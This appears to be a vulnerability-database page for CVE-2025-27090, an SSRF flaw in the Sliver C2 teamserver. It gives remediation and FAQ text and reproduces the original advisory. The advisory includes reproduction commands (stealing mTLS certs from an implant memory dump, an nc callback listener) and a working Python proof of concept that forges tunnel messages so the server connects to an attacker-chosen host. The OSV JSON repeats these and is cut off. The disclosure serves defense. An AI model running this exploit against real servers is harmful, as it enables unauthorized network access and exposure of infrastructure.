CVE-2025-27090: Github.com/bishopfox/sliver SSRF Vulnerability
MODERATE
Advisory Identifier:
GHSA-fh4v-v779-4g2w
CWE-918
Published
Advisory Summary
CVE-2025-27090 is a MODERATE ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/bishopfox/sliver libraries in the Go ecosystem. The issue involves ssrf in sliver teamserver. Remediation is available by upgrading affected packages to version 1.5.43.
CVE-2025-27090 at a Glance
CVE Identifier
CVE-2025-27090
GHSA Identifier
GHSA-fh4v-v779-4g2w
Severity
MODERATE
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-918: Server-Side Request Forgery (SSRF)
Affected Product
Github.com/bishopfox/sliver
Package Ecosystem
Go
Published Date
Last Updated
How to Fix CVE-2025-27090
To remediate this vulnerability, upgrade all affected Github.com/bishopfox/sliver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
github.com/bishopfox/sliver
fixed: 1.5.43
Upgrade github.com/bishopfox/sliver to 1.5.43
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/bishopfox/sliverHow to Check if You Are Affected
To determine whether your application is affected by CVE-2025-27090, inspect your project dependencies for Github.com/bishopfox/sliver:
inspect dependencies for github.com/bishopfox/sliverAnalyze the terminal output to locate any version of Github.com/bishopfox/sliver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.43), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/bishopfox/sliver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so
### Reproduction steps
Run server
```
wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x sliver-server_linux
./sliver-server_linux
```
Generate binary
```
generate --mtls 127.0.0.1:8443
```
Run it on windows, then `Task manager -> find process -> Create memory dump file`
Install RogueSliver and get the certs
```
git clone https://github.com/ACE-Responder/RogueSliver.git
pip3 install -r requirements.txt --break-system-packages
python3 ExtractCerts.py implant.dmp
```
Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc
```
nc -nvlp 1111
```
Run the poc (pasted at bottom of this file)
```
python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>
python3 poc.py 192.168.1.33 8443 44.221.186.72 1111
```
### Details
We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed
```go
func handleSliverConnection(conn net.Conn) {
mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())
defer func() {
mtlsLog.Debugf("mtls connection closing")
conn.Close()
implantConn.Cleanup()
}()
done := make(chan bool)
go func() {
defer func() {
done <- true
}()
handlers := serverHandlers.GetHandlers()
for {
envelope, err := socketReadEnvelope(conn)
if err != nil {
mtlsLog.Errorf("Socket read error %v", err)
return
}
implantConn.UpdateLastMessage()
if envelope.ID != 0 {
implantConn.RespMutex.RLock()
if resp, ok := implantConn.Resp[envelope.ID]; ok {
resp <- envelope // Could deadlock, maybe want to investigate better solutions
}
implantConn.RespMutex.RUnlock()
} else if handler, ok := handlers[envelope.Type]; ok {
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
go func() {
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
implantConn.Send <- respEnvelope
}
}()
}
}
}()
Loop:
for {
select {
case envelope := <-implantConn.Send:
err := socketWriteEnvelope(conn, envelope)
if err != nil {
mtlsLog.Errorf("Socket write failed %v", err)
break Loop
}
case <-done:
break Loop
}
}
mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
}
```
The available handlers:
```go
func GetHandlers() map[uint32]ServerHandler {
return map[uint32]ServerHandler{
// Sessions
sliverpb.MsgRegister: registerSessionHandler,
sliverpb.MsgTunnelData: tunnelDataHandler,
sliverpb.MsgTunnelClose: tunnelCloseHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgSocksData: socksDataHandler,
// Beacons
sliverpb.MsgBeaconRegister: beaconRegisterHandler,
sliverpb.MsgBeaconTasks: beaconTasksHandler,
// Pivots
sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
sliverpb.MsgPivotPeerFailure: pivotPeerFailureHandler,
}
}
```
If we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the `tunnelDataHandler` function
```go
// The handler mutex prevents a send on a closed channel, without it
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
session := core.Sessions.FromImplantConnection(implantConn)
if session == nil {
sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
return nil
}
tunnelHandlerMutex.Lock()
defer tunnelHandlerMutex.Unlock()
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
if rtunnel != nil && session.ID == rtunnel.SessionID {
RTunnelDataHandler(tunnelData, rtunnel, implantConn)
} else if rtunnel != nil && session.ID != rtunnel.SessionID {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
} else if rtunnel == nil && tunnelData.CreateReverse == true {
createReverseTunnelHandler(implantConn, data)
//RTunnelDataHandler(tunnelData, rtunnel, implantConn)
} else {
tunnel := core.Tunnels.Get(tunnelData.TunnelID)
if tunnel != nil {
if session.ID == tunnel.SessionID {
tunnel.SendDataFromImplant(tunnelData)
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
} else {
sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
}
}
return nil
}
```
The `createReverseTunnelHandler` reads the envelope, creating a socket for `req.Rportfwd.Host` and `req.Rportfwd.Port`. It will write `recv.Data` to it
```go
func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
session := core.Sessions.FromImplantConnection(implantConn)
req := &sliverpb.TunnelData{}
proto.Unmarshal(data, req)
var defaultDialer = new(net.Dialer)
remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)
ctx, cancelContext := context.WithCancel(context.Background())
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
//dst, err := net.Dial("tcp", remoteAddress)
if err != nil {
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: req.TunnelID,
})
implantConn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
cancelContext()
return nil
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
//log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(1000 * time.Second)
}
tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)
rtunnels.AddRTunnel(tunnel)
cleanup := func(reason error) {
// {{if .Config.Debug}}
sessionHandlerLog.Infof("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := rtunnels.GetRTunnel(tunnel.ID)
rtunnels.RemoveRTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: implantConn,
}
// portfwd only uses one reader, hence the tunnel.Readers[0]
n, err := io.Copy(tWriter, tunnel.Readers[0])
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
sessionHandlerLog.Infof("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
tunnelDataCache.Add(tunnel.ID, req.Sequence, req)
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
tunnel.IncReadSequence() // Increment sequence counter
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[message just received] %v", tunnelData)
// {{end}}
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if tunnelDataCache.Len(tunnel.ID) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
Ack: tunnel.ReadSequence(),
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
// {{end}}
implantConn.RequestResend(data)
}
}
return nil
}
```
### Impact
For current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now
To exploit this for MTLS listeners, you will need MTLS keys
For HTTP listeners, you will need to generate valid nonce
Not sure about other transport types
### POC
POC code, it is not cleaned up at all, please forgive me
```python
#!/usr/bin/python
import sys
import time
import base64
import socket, ssl
from RogueSliver.consts import msgs
import random
import struct
import RogueSliver.sliver_pb2 as sliver
import json
import argparse
import uuid
from google.protobuf import json_format
from rich import print
import random
import string
ssl_ctx = ssl.create_default_context()
ssl_ctx.load_cert_chain(keyfile='certs/client.key',certfile='certs/client.crt')#,ca_certs='sliver/ca.crt')
ssl_ctx.load_verify_locations('certs/ca.crt')
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
def generate_random_string(length=8):
# Combine letters and digits
characters = string.ascii_letters + string.digits
# Generate random string
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
def rand_unicode(junk_sz):
junk = ''.join([chr(random.randint(0,2047)) for x in range(junk_sz)]).encode('utf-8','surrogatepass').decode()
return(junk)
def junk_register(junk_sz):
n = generate_random_string()
register = {
"Name": "chebuya"+n,
"Hostname": "chebuya.local"+n,
"Uuid": "uuid"+n,
"Username": "username"+n,
"Uid": "uid"+n,
"Gid": "gid"+n,
"Os": "os"+n,
"Arch": "arch"+n,
"Pid": 10,
"Filename": "filename"+n,
"ActiveC2": "activec2"+n,
"Version": "version"+n,
"ReconnectInterval": 60,
"ConfigID": "config_id"+n,
"PeerID": -1,
"Locale": "locale" + n
}
return register
def make_ping_env():
reg = sliver.Ping()
json_format.Parse(json.dumps({}),reg)
envelope = sliver.Envelope()
envelope.Type = msgs.index('Ping')
envelope.Data = reg.SerializeToString()
return envelope
def make_rt_env():
jdata = {
"Data": "c3NyZiBwb2M=",
"Closed": False,
"Sequence": 0,
"Ack": 0,
"Resend": False,
"CreateReverse": True,
"rportfwd": {
"Port": int(sys.argv[4]),
"Host": sys.argv[3],
"TunnelID": 0,
},
"TunnelID": 0,
}
reg = sliver.TunnelData()
json_format.Parse(json.dumps(jdata),reg)
envelope = sliver.Envelope()
envelope.Type = msgs.index('TunnelData')
envelope.Data = reg.SerializeToString()
return envelope
def send_envelope(envelope,ip,port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
with ssl_ctx.wrap_socket(s,) as ssock:
ssock.connect((ip,port))
print(len(envelope.SerializeToString()))
#data_len = struct.pack('!I', len(envelope.SerializeToString()) )
data_len = struct.pack('I', len(envelope.SerializeToString()) )
envelope3 = make_rt_env()
data_len3 = struct.pack('I', len(envelope3.SerializeToString()) )
print(data_len)
ssock.write(data_len + envelope.SerializeToString())
ssock.write(data_len3 + envelope3.SerializeToString())
# No idea why this is reqauired
while True:
time.sleep(2)
ssock.write(data_len3 + envelope3.SerializeToString())
def register_session(ip,port):
print('[yellow]\[i][/yellow] Sending session registration.')
reg = sliver.Register()
json_format.Parse(json.dumps(junk_register(50)),reg)
envelope = sliver.Envelope()
envelope.Type = msgs.index('Register')
envelope.Data = reg.SerializeToString()
send_envelope(envelope,ip,port)
def register_beacon(ip,port):
print('[yellow]\[i][/yellow] Sending beacon registration.')
reg = sliver.BeaconRegister()
reg.ID = str(uuid.uuid4())
junk_sz = 50
reg.Interval = random.randint(0,10*junk_sz)
reg.Jitter = random.randint(0,10*junk_sz)
reg.NextCheckin = random.randint(0,10*junk_sz)
json_format.Parse(json.dumps(junk_register(junk_sz)),reg.Register)
envelope = sliver.Envelope()
envelope.Type = msgs.index('BeaconRegister')
envelope.Data = reg.SerializeToString()
send_envelope(envelope,ip,port)
description = '''
Flood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.
'''
if __name__ == '__main__':
register_session(sys.argv[1], int(sys.argv[2]))
```
CVE-2025-27090 Affected Github.com/bishopfox/sliver Versions
1 component(s)
Fixed Versions:
1.5.43
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/bishopfox/sliver
|
Go |
≥ 1.5.26
< 1.5.43
|
1.5.43
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/BishopFox/sliver/security/advisories/GHSA-fh4v-v779-4g2w
NVD — CVE-2025-27090
NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-27090
Security Fix Commit
FIX COMMIT
https://github.com/BishopFox/sliver/commit/0f340a25cf3d496ed870dae7da39eab4427bc16f
Security Fix Commit
FIX COMMIT
https://github.com/BishopFox/sliver/commit/10e245326070c6a5884a02e0790bb7e2baefb3a1
Github.com/bishopfox/sliver Source Repository
REPOSITORY
https://github.com/BishopFox/sliver
Frequently Asked Questions
What is CVE-2025-27090?
CVE-2025-27090 is a security vulnerability in Github.com/bishopfox/sliver involving SSRF in sliver teamserver under CWE-918: Server-Side Request Forgery (SSRF).
Which Github.com/bishopfox/sliver versions are affected?
Affected versions include releases prior to 1.5.43 across affected packages: github.com/bishopfox/sliver.
What version fixes CVE-2025-27090?
Upgrading to 1.5.43 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/bishopfox/sliver affected?
Yes, github.com/bishopfox/sliver is affected in releases prior to 1.5.43. Upgrade your dependency to 1.5.43 or later.
What CWE is associated with CVE-2025-27090?
CVE-2025-27090 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2025-27090?
Run the dependency tree command: 'inspect dependencies for github.com/bishopfox/sliver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-fh4v-v779-4g2w",
"modified" : "2025-02-20T22:47:01Z",
"published" : "2025-02-19T21:11:33Z",
"aliases" : [ "CVE-2025-27090" ],
"summary" : "SSRF in sliver teamserver",
"details" : "### Summary\nThe reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so\n\n\n### Reproduction steps\nRun server\n```\nwget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux\nchmod +x sliver-server_linux\n./sliver-server_linux\n```\n\nGenerate binary\n```\ngenerate --mtls 127.0.0.1:8443\n```\n\nRun it on windows, then `Task manager -> find process -> Create memory dump file`\n\n\nInstall RogueSliver and get the certs\n```\ngit clone https://github.com/ACE-Responder/RogueSliver.git\npip3 install -r requirements.txt --break-system-packages\npython3 ExtractCerts.py implant.dmp\n```\n\nStart callback listener. Teamserver will connect when POC is run and send \"ssrf poc\" to nc\n```\nnc -nvlp 1111\n```\n\nRun the poc (pasted at bottom of this file)\n```\npython3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>\npython3 poc.py 192.168.1.33 8443 44.221.186.72 1111\n```\n\n\n### Details\nWe see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed\n```go\nfunc handleSliverConnection(conn net.Conn) {\n\tmtlsLog.Infof(\"Accepted incoming connection: %s\", conn.RemoteAddr())\n\timplantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())\n\n\tdefer func() {\n\t\tmtlsLog.Debugf(\"mtls connection closing\")\n\t\tconn.Close()\n\t\timplantConn.Cleanup()\n\t}()\n\n\tdone := make(chan bool)\n\tgo func() {\n\t\tdefer func() {\n\t\t\tdone <- true\n\t\t}()\n\t\thandlers := serverHandlers.GetHandlers()\n\t\tfor {\n\t\t\tenvelope, err := socketReadEnvelope(conn)\n\t\t\tif err != nil {\n\t\t\t\tmtlsLog.Errorf(\"Socket read error %v\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\timplantConn.UpdateLastMessage()\n\t\t\tif envelope.ID != 0 {\n\t\t\t\timplantConn.RespMutex.RLock()\n\t\t\t\tif resp, ok := implantConn.Resp[envelope.ID]; ok {\n\t\t\t\t\tresp <- envelope // Could deadlock, maybe want to investigate better solutions\n\t\t\t\t}\n\t\t\t\timplantConn.RespMutex.RUnlock()\n\t\t\t} else if handler, ok := handlers[envelope.Type]; ok {\n\t\t\t\tmtlsLog.Debugf(\"Received new mtls message type %d, data: %s\", envelope.Type, envelope.Data)\n\t\t\t\tgo func() {\n\t\t\t\t\trespEnvelope := handler(implantConn, envelope.Data)\n\t\t\t\t\tif respEnvelope != nil {\n\t\t\t\t\t\timplantConn.Send <- respEnvelope\n\t\t\t\t\t}\n\t\t\t\t}()\n\t\t\t}\n\t\t}\n\t}()\n\nLoop:\n\tfor {\n\t\tselect {\n\t\tcase envelope := <-implantConn.Send:\n\t\t\terr := socketWriteEnvelope(conn, envelope)\n\t\t\tif err != nil {\n\t\t\t\tmtlsLog.Errorf(\"Socket write failed %v\", err)\n\t\t\t\tbreak Loop\n\t\t\t}\n\t\tcase <-done:\n\t\t\tbreak Loop\n\t\t}\n\t}\n\tmtlsLog.Debugf(\"Closing implant connection %s\", implantConn.ID)\n}\n```\n\nThe available handlers:\n```go\nfunc GetHandlers() map[uint32]ServerHandler {\n\treturn map[uint32]ServerHandler{\n\t\t// Sessions\n\t\tsliverpb.MsgRegister: registerSessionHandler,\n\t\tsliverpb.MsgTunnelData: tunnelDataHandler,\n\t\tsliverpb.MsgTunnelClose: tunnelCloseHandler,\n\t\tsliverpb.MsgPing: pingHandler,\n\t\tsliverpb.MsgSocksData: socksDataHandler,\n\n\t\t// Beacons\n\t\tsliverpb.MsgBeaconRegister: beaconRegisterHandler,\n\t\tsliverpb.MsgBeaconTasks: beaconTasksHandler,\n\n\t\t// Pivots\n\t\tsliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,\n\t\tsliverpb.MsgPivotPeerFailure: pivotPeerFailureHandler,\n\t}\n}\n```\n\nIf we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the `tunnelDataHandler` function\n```go\n// The handler mutex prevents a send on a closed channel, without it\n// two handlers calls may race when a tunnel is quickly created and closed.\nfunc tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {\n\tsession := core.Sessions.FromImplantConnection(implantConn)\n\tif session == nil {\n\t\tsessionHandlerLog.Warnf(\"Received tunnel data from unknown session: %v\", implantConn)\n\t\treturn nil\n\t}\n\ttunnelHandlerMutex.Lock()\n\tdefer tunnelHandlerMutex.Unlock()\n\ttunnelData := &sliverpb.TunnelData{}\n\tproto.Unmarshal(data, tunnelData)\n\n\tsessionHandlerLog.Debugf(\"[DATA] Sequence on tunnel %d, %d, data: %s\", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)\n\n\trtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)\n\tif rtunnel != nil && session.ID == rtunnel.SessionID {\n\t\tRTunnelDataHandler(tunnelData, rtunnel, implantConn)\n\t} else if rtunnel != nil && session.ID != rtunnel.SessionID {\n\t\tsessionHandlerLog.Warnf(\"Warning: Session %s attempted to send data on reverse tunnel it did not own\", session.ID)\n\t} else if rtunnel == nil && tunnelData.CreateReverse == true {\n\t\tcreateReverseTunnelHandler(implantConn, data)\n\t\t//RTunnelDataHandler(tunnelData, rtunnel, implantConn)\n\t} else {\n\t\ttunnel := core.Tunnels.Get(tunnelData.TunnelID)\n\t\tif tunnel != nil {\n\t\t\tif session.ID == tunnel.SessionID {\n\t\t\t\ttunnel.SendDataFromImplant(tunnelData)\n\t\t\t} else {\n\t\t\t\tsessionHandlerLog.Warnf(\"Warning: Session %s attempted to send data on tunnel it did not own\", session.ID)\n\t\t\t}\n\t\t} else {\n\t\t\tsessionHandlerLog.Warnf(\"Data sent on nil tunnel %d\", tunnelData.TunnelID)\n\t\t}\n\t}\n\n\treturn nil\n}\n```\n\n\nThe `createReverseTunnelHandler` reads the envelope, creating a socket for `req.Rportfwd.Host` and `req.Rportfwd.Port`. It will write `recv.Data` to it\n```go\nfunc createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {\n\tsession := core.Sessions.FromImplantConnection(implantConn)\n\n\treq := &sliverpb.TunnelData{}\n\tproto.Unmarshal(data, req)\n\n\tvar defaultDialer = new(net.Dialer)\n\n\tremoteAddress := fmt.Sprintf(\"%s:%d\", req.Rportfwd.Host, req.Rportfwd.Port)\n\n\tctx, cancelContext := context.WithCancel(context.Background())\n\n\tdst, err := defaultDialer.DialContext(ctx, \"tcp\", remoteAddress)\n\t//dst, err := net.Dial(\"tcp\", remoteAddress)\n\tif err != nil {\n\t\ttunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{\n\t\t\tClosed: true,\n\t\t\tTunnelID: req.TunnelID,\n\t\t})\n\t\timplantConn.Send <- &sliverpb.Envelope{\n\t\t\tType: sliverpb.MsgTunnelClose,\n\t\t\tData: tunnelClose,\n\t\t}\n\t\tcancelContext()\n\t\treturn nil\n\t}\n\n\tif conn, ok := dst.(*net.TCPConn); ok {\n\t\t// {{if .Config.Debug}}\n\t\t//log.Printf(\"[portfwd] Configuring keep alive\")\n\t\t// {{end}}\n\t\tconn.SetKeepAlive(true)\n\t\t// TODO: Make KeepAlive configurable\n\t\tconn.SetKeepAlivePeriod(1000 * time.Second)\n\t}\n\n\ttunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)\n\trtunnels.AddRTunnel(tunnel)\n\tcleanup := func(reason error) {\n\t\t// {{if .Config.Debug}}\n\t\tsessionHandlerLog.Infof(\"[portfwd] Closing tunnel %d (%s)\", tunnel.ID, reason)\n\t\t// {{end}}\n\t\ttunnel := rtunnels.GetRTunnel(tunnel.ID)\n\t\trtunnels.RemoveRTunnel(tunnel.ID)\n\t\tdst.Close()\n\t\tcancelContext()\n\t}\n\n\tgo func() {\n\t\ttWriter := tunnelWriter{\n\t\t\ttun: tunnel,\n\t\t\tconn: implantConn,\n\t\t}\n\t\t// portfwd only uses one reader, hence the tunnel.Readers[0]\n\t\tn, err := io.Copy(tWriter, tunnel.Readers[0])\n\t\t_ = n // avoid not used compiler error if debug mode is disabled\n\t\t// {{if .Config.Debug}}\n\t\tsessionHandlerLog.Infof(\"[tunnel] Tunnel done, wrote %v bytes\", n)\n\t\t// {{end}}\n\n\t\tcleanup(err)\n\t}()\n\n\ttunnelDataCache.Add(tunnel.ID, req.Sequence, req)\n\n\t// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading\n\t// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence\n\t// is used here whereas WriteSequence is used for data written back to the server\n\n\t// Go through cache and write all sequential data to the reader\n\tfor recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {\n\t\t// {{if .Config.Debug}}\n\t\t//sessionHandlerLog.Infof(\"[tunnel] Write %d bytes to tunnel %d (read seq: %d)\", len(recv.Data), recv.TunnelID, recv.Sequence)\n\t\t// {{end}}\n\t\ttunnel.Writer.Write(recv.Data)\n\n\t\t// Delete the entry we just wrote from the cache\n\t\ttunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())\n\t\ttunnel.IncReadSequence() // Increment sequence counter\n\n\t\t// {{if .Config.Debug}}\n\t\t//sessionHandlerLog.Infof(\"[message just received] %v\", tunnelData)\n\t\t// {{end}}\n\t}\n\n\t//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.\n\t//Send a Resend packet to have the msg resent from the cache\n\tif tunnelDataCache.Len(tunnel.ID) > 3 {\n\t\tdata, err := proto.Marshal(&sliverpb.TunnelData{\n\t\t\tSequence: tunnel.WriteSequence(), // The tunnel write sequence\n\t\t\tAck: tunnel.ReadSequence(),\n\t\t\tResend: true,\n\t\t\tTunnelID: tunnel.ID,\n\t\t\tData: []byte{},\n\t\t})\n\t\tif err != nil {\n\t\t\t// {{if .Config.Debug}}\n\t\t\t//sessionHandlerLog.Infof(\"[shell] Failed to marshal protobuf %s\", err)\n\t\t\t// {{end}}\n\t\t} else {\n\t\t\t// {{if .Config.Debug}}\n\t\t\t//sessionHandlerLog.Infof(\"[tunnel] Requesting resend of tunnelData seq: %d\", tunnel.ReadSequence())\n\t\t\t// {{end}}\n\t\t\timplantConn.RequestResend(data)\n\t\t}\n\t}\n\treturn nil\n}\n```\n\n\n\n### Impact\nFor current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now\n\nTo exploit this for MTLS listeners, you will need MTLS keys\nFor HTTP listeners, you will need to generate valid nonce\nNot sure about other transport types\n\n\n\n### POC\nPOC code, it is not cleaned up at all, please forgive me\n```python\n#!/usr/bin/python\nimport sys\nimport time\nimport base64\nimport socket, ssl\nfrom RogueSliver.consts import msgs\nimport random\nimport struct\nimport RogueSliver.sliver_pb2 as sliver\nimport json\nimport argparse\nimport uuid\nfrom google.protobuf import json_format\nfrom rich import print\nimport random\nimport string\n\nssl_ctx = ssl.create_default_context()\nssl_ctx.load_cert_chain(keyfile='certs/client.key',certfile='certs/client.crt')#,ca_certs='sliver/ca.crt')\nssl_ctx.load_verify_locations('certs/ca.crt')\nssl_ctx.check_hostname = False\nssl_ctx.verify_mode = ssl.CERT_NONE\n\n\n\ndef generate_random_string(length=8):\n # Combine letters and digits\n characters = string.ascii_letters + string.digits\n # Generate random string\n random_string = ''.join(random.choice(characters) for _ in range(length))\n return random_string\n\ndef rand_unicode(junk_sz):\n junk = ''.join([chr(random.randint(0,2047)) for x in range(junk_sz)]).encode('utf-8','surrogatepass').decode()\n return(junk)\n\ndef junk_register(junk_sz):\n n = generate_random_string()\n register = {\n \"Name\": \"chebuya\"+n,\n \"Hostname\": \"chebuya.local\"+n,\n \"Uuid\": \"uuid\"+n,\n \"Username\": \"username\"+n,\n \"Uid\": \"uid\"+n,\n \"Gid\": \"gid\"+n,\n \"Os\": \"os\"+n,\n \"Arch\": \"arch\"+n,\n \"Pid\": 10,\n \"Filename\": \"filename\"+n,\n \"ActiveC2\": \"activec2\"+n,\n \"Version\": \"version\"+n,\n \"ReconnectInterval\": 60,\n \"ConfigID\": \"config_id\"+n,\n \"PeerID\": -1,\n \"Locale\": \"locale\" + n\n }\n\n return register\n\n\n\ndef make_ping_env():\n reg = sliver.Ping()\n json_format.Parse(json.dumps({}),reg)\n envelope = sliver.Envelope()\n envelope.Type = msgs.index('Ping')\n envelope.Data = reg.SerializeToString()\n\n return envelope\n\n\n\ndef make_rt_env():\n \n jdata = {\n \"Data\": \"c3NyZiBwb2M=\",\n \"Closed\": False,\n \"Sequence\": 0,\n \"Ack\": 0,\n \"Resend\": False,\n \"CreateReverse\": True,\n \"rportfwd\": {\n \"Port\": int(sys.argv[4]),\n \"Host\": sys.argv[3],\n \"TunnelID\": 0,\n },\n \"TunnelID\": 0,\n }\n\n\n\n reg = sliver.TunnelData()\n json_format.Parse(json.dumps(jdata),reg)\n envelope = sliver.Envelope()\n envelope.Type = msgs.index('TunnelData')\n envelope.Data = reg.SerializeToString()\n\n return envelope\n\n\n\n\ndef send_envelope(envelope,ip,port):\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n with ssl_ctx.wrap_socket(s,) as ssock:\n ssock.connect((ip,port))\n\n print(len(envelope.SerializeToString()))\n #data_len = struct.pack('!I', len(envelope.SerializeToString()) )\n data_len = struct.pack('I', len(envelope.SerializeToString()) )\n\n\n\n\n envelope3 = make_rt_env()\n data_len3 = struct.pack('I', len(envelope3.SerializeToString()) )\n\n print(data_len)\n\n ssock.write(data_len + envelope.SerializeToString()) \n ssock.write(data_len3 + envelope3.SerializeToString())\n\n\n\n \n # No idea why this is reqauired\n while True:\n time.sleep(2)\n ssock.write(data_len3 + envelope3.SerializeToString())\n\n\n\ndef register_session(ip,port):\n print('[yellow]\\[i][/yellow] Sending session registration.')\n reg = 